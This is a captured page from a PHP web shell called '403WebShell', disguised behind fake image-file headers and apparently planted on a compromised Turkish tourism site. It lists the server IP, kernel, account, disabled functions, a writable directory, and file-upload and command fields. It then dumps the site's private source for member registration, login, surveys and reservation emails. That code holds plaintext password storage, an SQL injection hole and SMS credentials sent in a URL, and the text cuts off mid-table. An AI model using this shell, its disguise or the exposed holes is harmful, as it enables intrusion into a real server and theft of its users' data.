RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.247.160.143  /  Your IP : 3.145.158.137
Web Server : Apache/2
System : Linux server-104-247-160-143 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : mudit ( 1429)
PHP Version : 7.2.34
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mudit/domains/muditurizm.com/public_html/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mudit/domains/muditurizm.com/public_html/static/mesajayar.php
<!-- MESAJ GÖNDERİM AYARLARI -->
<script src="style/sabit/js/jquery-accordion-menu.js"></script>
<script type="text/javascript">
			jQuery(document).ready(function(){  
				jQuery("#jquery-accordion-menu").jqueryAccordionMenu();
				jQuery(".colors a").click(function(){
					if($(this).attr("class") != "default"){
						$("#jquery-accordion-menu").removeClass();
						$("#jquery-accordion-menu").addClass("jquery-accordion-menu").addClass($(this).attr("class"));
					}
					else{
						$("#jquery-accordion-menu").removeClass();
						$("#jquery-accordion-menu").addClass("jquery-accordion-menu");
					}
				});
			});
</script>

<script src='https://www.google.com/recaptcha/api.js'></script>    
<script type="text/javascript" src="style/sabit/video-resim/fresco/fresco.js"></script> 
<link rel="stylesheet" type="text/css" href="style/sabit/video-resim/YouTubePopUp.css">
	<script type="text/javascript" src="style/sabit/video-resim/YouTubePopUp.jquery.js"></script>
    	<script type="text/javascript">
		jQuery(function(){
			jQuery("a.bla-1").YouTubePopUp();
			jQuery("a.bla-2").YouTubePopUp( { autoplay: 0 } ); // Disable autoplay
		});
	</script> 

<input class="sweet-1" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-1']);">
<input class="sweet-2" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-2']);">
<input class="sweet-3" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-3']);">  
<input class="sweet-4" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-4']);">
<input class="sweet-5" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-5']);"> 
<input class="sweet-6" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-6']);">
<input class="sweet-7" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-7']);">
<input class="sweet-8" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-8']);">  
<input class="sweet-9" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-9']);">  
<input class="sweet-10" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-10']);"> 
<input class="sweet-14" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-14']);">  
<input class="sweet-12" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-12']);">  
<input class="sweet-13" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-13']);">  
<input class="sweet-15" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-15']);"> 
<input class="sweet-16" type="hidden" onclick="_gaq.push(['_trackEvent', 'example', 'try', 'sweet-16']);">     
<script src="style/sabit/dist/sweetalert.js"></script>
<!-- custom-file -->
<!-- slider-1-custom- -->

<?php
if($_POST["uyeol"]) {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$recaptcha = $_POST['g-recaptcha-response'];
if (!empty($recaptcha)) {
        include "static/curl.php";
        $google_url = "https://www.google.com/recaptcha/api/siteverify";
        $secret = '' .$secretkey. '';
        $ip = $_SERVER['REMOTE_ADDR'];
        $url = $google_url . "?secret=" . $secret . "&response=" . $recaptcha . "&remoteip=" . $ip;
        $res = curlKullan($url);
        $res = json_decode($res, true);
 
if ($res['success']) {
$tarih = date("d-m-Y");
$kullanici_adi 	       = $_POST['adsoyad'];
$kullanici_sifre       = $_POST['sifre'];
$adres       = $_POST['adres'];
$sehir       = $_POST['sehir'];
$resim       = $_POST['resim'];
$kullanici_sifretekrar = $_POST['sifretekrar'];
$kullanici_email       = $_POST['eposta'];
$kullanici_telefon       = $_POST['telefon'];
$kullanici_tcno       = $_POST['tcno'];
$durum       = $_POST['durum'];
$sql = $db->prepare("SELECT * FROM uyeler WHERE tcno = ?");
$sql->execute(array(
$kullanici_tcno
));
$kontrol = $sql->fetchColumn();
if($kontrol > 0) {	
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-14").trigger("click");
});
</script>
<?php
}elseif (($kullanici_adi == "") and ($kullanici_sifre == "") and ($kullanici_sifretekrar == "") and ($kullanici_telefon == "") and ($kullanici_email == "")){ 
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-12").trigger("click");
});
</script>
<?php  
}elseif( $kullanici_sifre != $kullanici_sifretekrar){ 
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-13").trigger("click");
});
</script>
<?php
}else{  
	$ins = $db->prepare("INSERT INTO uyeler SET
	adsoyad = ?,
	resim = ?,
	tcno = ?,
    telefon = ?,
	eposta = ?,
	adres = ?,
	sehir = ?,
	sifre = ?,
	tarih = ?,
	durum = ?");
$ins->execute(array(
     $kullanici_adi,
	 $resim,
	 $kullanici_tcno,
	 $kullanici_telefon, 
	 $kullanici_email,
	 $adres,
	 $sehir,
	 $kullanici_sifre,
	 $tarih,
	 $durum
));	
?>
<?php
// -------------- SMTP SUNUCU AYARLARI  BAŞLANGIÇ ----------------//
include "static/class.phpmailer.php"; 	
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]"; 
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->IsHTML(true);
    $mail->Subject  =  $_POST['adsoyad']. " Üyelik Başvurusu";     // MAİL KONUSU


//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_GET['id'];

$mail->Body     =  '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
					<tr>
						<td height="30" width="145" align="left">
						<font face="Tahoma" size="2"><strong>Adı Soyadı :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['adsoyad'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>TC NO :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['tcno'] . '</font></td>
					</tr>';
$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>Telefon Numarası :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['telefon'] . '</font></td>
					</tr>';

$mail->Body     .=  '<tr>
						<td height="30" align="left">
						<font face="Tahoma" size="2"><strong>E-Posta :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_POST['eposta'] . '</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td style="VERTICAL-ALIGN: top; PADDING-TOP: 20px" align="left">
						<font face="Tahoma" size="2"><strong>Mesaj :</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">Sitenizin admin paneline giriş yaparak üyelik başvurusunu onaylayınız.</font></td>
					</tr>';

$mail->Body     .= '<tr>
						<td height="30" align="left">
						<strong><font face="Tahoma" size="2">IP Adresi </font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
						<td align="left" width="509" bgcolor="#F6FDEC">
						<font size="2" face="Tahoma">'. $_SERVER['REMOTE_ADDR'] . '</font></td>
					</tr></table>';
					
if(!$mail->Send())
{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-1").trigger("click");
});
</script>hata
<?php  
}else{
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-10").trigger("click");
});
</script>ok
<?php                                          
}
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot
<?php                                              
}
} else {
?>
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-2").trigger("click");
});
</script>bot                                          
<?php
}
}else{
}
}
?>   
<?php
if($_POST["girisyap"]) {
$giris_tcno 	 = $_POST['grs_tcno'];
$giris_sifre = $_POST['grs_sifre'];
if(($giris_tcno == "") or ($giris_sifre == "")){ 
echo '
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-9").trigger("click");
});
</script>ok
';
}else{ 
$uyeler = $db->prepare("SELECT * FROM uyeler WHERE tcno = ? and sifre = ? and durum = '1'"); 
$uyeler->execute(array(
$giris_tcno,
$giris_sifre
 ));
$uyebul = $uyeler->rowCount();
if($uyebul > 0){ 
$mailcek = $db->prepare("SELECT * FROM uyeler WHERE tcno= ?"); 
$mailcek->execute(array(
$giris_tcno
));
$mailcek2 = $mailcek->fetch(PDO::FETCH_ASSOC);
$_SESSION['tcno'] = $giris_tcno; 
$_SESSION['eposta']   = $mailcek2['eposta'];
$_SESSION['adsoyad']   = $mailcek2['adsoyad'];
$_SESSION['tcno']   = $mailcek2['tcno'];
$_SESSION['telefon']   = $mailcek2['telefon'];
$_SESSION['uyeid']   = $mailcek2['Id'];
$_SESSION['rutbe']   = 5;					
header("Location:".$siteadi."".$analink."/".$hlink["profil"]."");
}else{ 
echo '
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-7").trigger("click");
});
</script>ok';
}
}
}
?>    
<?php
if($_POST["ara"]) {
$cevapidyaz = $_POST['cevapid'];
$ipkontrol = $_POST['ipkontrol'];
$soruid = $_POST['soruid'];
$puan = $_POST['puan'];
$sql = $db->query("SELECT * FROM anketpuan WHERE ipkontrol = '$ipkontrol' AND soruid = '$soruid'");
$ipbul = $sql->rowCount();
if($ipbul > 0){
echo '
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-6").trigger("click");
});
</script>hata
';	
} else {
$insert = $db->prepare("INSERT INTO anketpuan SET
cevapid = ?,
soruid = ?,
ipkontrol = ?,
puan = ?");
$insert->execute(array(
$cevapidyaz,
$soruid,
$ipkontrol,
$puan
));
echo '
<script type="text/javascript">
$("document").ready(function() {
$(".sweet-8").trigger("click");
});
</script>ok
';
}
}					
?>
<?php
// -------------- SMS AYARLARI  BAŞLANGIÇ ----------------//
function sendsms($msg, $telno, $header){

  global $ayarlardegisken;

  $username= "$ayarlardegisken[smsuser]";
  $pass= "$ayarlardegisken[smsparola]";
  
  $startdate=date('d.m.Y H:i');
  $startdate=str_replace('.', '',$startdate );
  $startdate=str_replace(':', '',$startdate);
  $startdate=str_replace(' ', '',$startdate);
  
  $stopdate=date('d.m.Y H:i');
  $stopdate=str_replace('.', '',$stopdate );
  $stopdate=str_replace(':', '',$stopdate);
  $stopdate=str_replace(' ', '',$stopdate);

	$url="http://api.netgsm.com.tr/bulkhttppost.asp?usercode=$username&password=$pass&gsmno=$telno&message=$msg&msgheader=$header&startdate=$startdate&stopdate=$stopdate";
	//echo $url;
	
    $ch = curl_init(); 
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//  curl_setopt($ch,CURLOPT_HEADER, false);
    $output=curl_exec($ch);
    curl_close($ch);
    return $output;
}
  $smstelefon = $ayarlardegisken["smstelefon"];
  $smsbaslik = $ayarlardegisken["smsbaslik"];
  $smstelefongonder = preg_replace('#\s#', '',$smstelefon);
// -------------- SMS AYARLARI  BITIS ----------------//




// -------------- OTEL REZERVASYON BASLANGIC ----------------//
if ($rezervasyonuyariver == "musaitdegil"){	
echo '<script type="text/javascript">
$("document").ready(function() {
$(".sweet-16").trigger("click");
});
</script>';
}else {
}

if ($rezervasyonusmsvemailgonder == "rezervasyonalindi"){
if ($ayarlardegisken["smsdurum"] == "1"){	

$konu = str_replace("\n", " ", $konu);
$konu = str_replace("\r", " ", $konu);
$konu = str_replace("\r\n", " ", $konu);

$smsmesaj="Merhaba Sitenizden Siparis var. ".$konu."";
$smstel='9'.$smstelefongonder.''; 
$firmasmsbaslik=''.$smsbaslik.'';

$smsmesaj = html_entity_decode($smsmesaj, ENT_COMPAT, "UTF-8"); 
$smsmesaj = rawurlencode($smsmesaj); 

$firmasmsbaslik = html_entity_decode($firmasmsbaslik, ENT_COMPAT, "UTF-8"); 
$firmasmsbaslik = rawurlencode($firmasmsbaslik); 
echo sendsms($smsmesaj,$smstel,$firmasmsbaslik);
}
// -------------- SMTP SUNUCU AYARLARI  BAŞLANGIÇ ----------------//

$konu = $odaadi. " - ".$hdil["_online_rezervasyon"]."";
$link = "otelrezervasyonlar";
$ikon = "fa-shopping-cart";
$insert = $db->prepare("INSERT INTO yenimesajlar SET
    adsoyad = ?,
    telefon = ?,	
    eposta = ?,
    konu = ?, 
	ikon = ?, 
	link = ?,
    sayfaid = ?, 	 
	tarih = ?");
$insert->execute(array(
    $adsoyad,
    $telefon,
    $eposta,
    $konu,
    $ikon,
    $link,
    $urun_id,	
	$tarih

));
include "static/class.phpmailer.php"; 	
    $mail = new PHPMailer();
    $mail->IsSMTP();  										
    $mail->CharSet = 'utf-8';
    $mail->SMTPSecure = "$ayarlardegisken[mailguvenlik]"; 
    $mail->Host = "$ayarlardegisken[mailserver]"; 
    $mail->Port = "$ayarlardegisken[mailport]"; 
    $mail->SMTPAuth = true;
    $mail->Username = "$ayarlardegisken[mailadres]";
    $mail->Password = "$ayarlardegisken[mailparola]";
    $mail->From = "$ayarlardegisken[mailadres]"; 
    $mail->FromName = "$ayarlardegisken[mailbasligi]"; 
    $mail->Sender = "$ayarlardegisken[mailadres]";
    $mail->AddAddress("$ayarlardegisken[mailadres]");
    $mail->AddAddress("$eposta");
    $mail->IsHTML(true);
    $mail->Subject  = "Rezervasyon Detaylariniz.";     // MAİL KONUSU


//--------------- SMTP SUNUCU AYARLARI BİTİŞ -------------------------//


$id = $_GET['id'];

$mail->Body     =  '<table align="center" border="0" cellpadding="0" cellspacing="0" style="border:2px solid #ddd; padding:30px; width:600px">
			<thead>
				<tr>
					<th style="height:60px">
						<table align="center" border="0" cellpadding="0" cellspacing="0" style="width:700px">
							<tbody>
								<tr>
									<th colspan="2" style="height:84px; width:200px"><span style="font-family: arial, helvetica, sans-serif, serif, EmojiFont;"><span style="font-size:12px"><img src="'.$siteadi.'upload/manset/'.$site_logo.'" alt=""></span></span></th>
								</tr>
								
							</tbody>
						</table>
						<div style="clear:both">&nbsp;</div>
					</th>
				</tr>
			</thead>
			<tbody>
				<tr>
					<td>
						<table align="center" border="0" cellpadding="0" cellspacing="0" style="width:90%">
							<tbody>
								<tr>
									<td colspan="2"><span style="font-family: arial, helvetica, sans-serif, serif, EmojiFont;"><span style="font-size:13px">Sayın<strong> '.$adsoyad.'</strong></span></span></td>
								</tr>
								<tr>
									<td colspan="2">&nbsp;</td>
								</tr>
								<tr>
								<td colspan="2">
									<span style="font-size:13px">
									Rezervasyonunuz başarılı şekilde alınmıştır.Rezervasyon bilgileriniz aşağıdaki gibidir..<br>
									<br>
									İyi Günler Dileriz.
									</span>
								</td>
								</tr>
								<tr>
									<td>&nbsp;</td>
									<td>&nbsp;</td>
								</tr>
								<!--item-->
								<tr>
									<td >
										<table width="100%" height="30" align="center" cellpadding="0" cellspacing="0" border="0" style="background:#F4F4F4; border-collapse:collapse; font-size:13px; font-family:arial; border:1px solid #D7D7D7">
											<tbody>
												<tr>
													<td style="padding-left:10px"><b>Ödeme Bilgileri</b> </td>
												</tr>
											</tbody>
										</table>
										<table width="700" height="30" align="center" cellpadding="0" cellspacing="0" border="0" style="background:#fff; border-left:1px solid #D7D7D7; font-size:12px; font-family:arial; border-right:1px solid #D7D7D7; padding:5px">
											<tbody>
													<tr>
														<td style="padding-left:5px">
															<table height="25" align="left" cellpadding="0" cellspacing="0" border="0">
																<tbody>
																	<tr>
																		<td width="180" valign="top" style="font-size:12px"><b>Sipariş No </b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																		<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																		<td valign="top" style="font-size:12px">'.$urun_id.'</td>
																	</tr>
																	<tr>
																		<td width="180" valign="top" style="font-size:12px"><b>Rezervasyon Tarihi</b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																		<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																		<td valign="top" style="font-size:12px">'.$tarih2.'</td>
																	</tr>
																	<tr>
																		<td width="180" valign="top" style="font-size:12px"><b>Rezervasyon Saati </b><font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </b></b></td>
																		<td width="5" valign="top" style="font-size:12px">:<font style="font-family: arial, serif, EmojiFont;">&nbsp;</font> </td>
																		<td valign="top" style="font-size:12px">'.$saat.'</td>
																	</tr>
													
																</tbody>
															</table>
														</td>
													</tr>
													
											</tbody>
										</table>
										
									</td>
								</tr>
							
								<!--/item-->
								<tr>
									<td >
										<table width="100%" height="30" align="center" cellpadding="0" cellspacing="0" border="0" style="background:#F4F4F4; border-collapse:collapse; font-size:13px; font-family:arial; border:1px solid #D7D7D7">
											<tbody>
												<tr>
													<td style="padding-left:10px"><b>Müşteri Bilgileri</b> </td>
												</tr>
											</tbody>
										</table>
										<table width="700" height="30" align="center" cellpadding="0" cellspacing="0" border="0" style="background:#fff; border-left:1px solid #D7D7D7; font-size:12px; font-family:arial; border-right:1px solid #D7D7D7; padding:5px">
											<tbody>
													<tr>
														<td style="padding-left:5px">
															<table height="25" align="left" cellpadding="0" cellspacing="0" border="0">
																<tbody>
																	<tr>
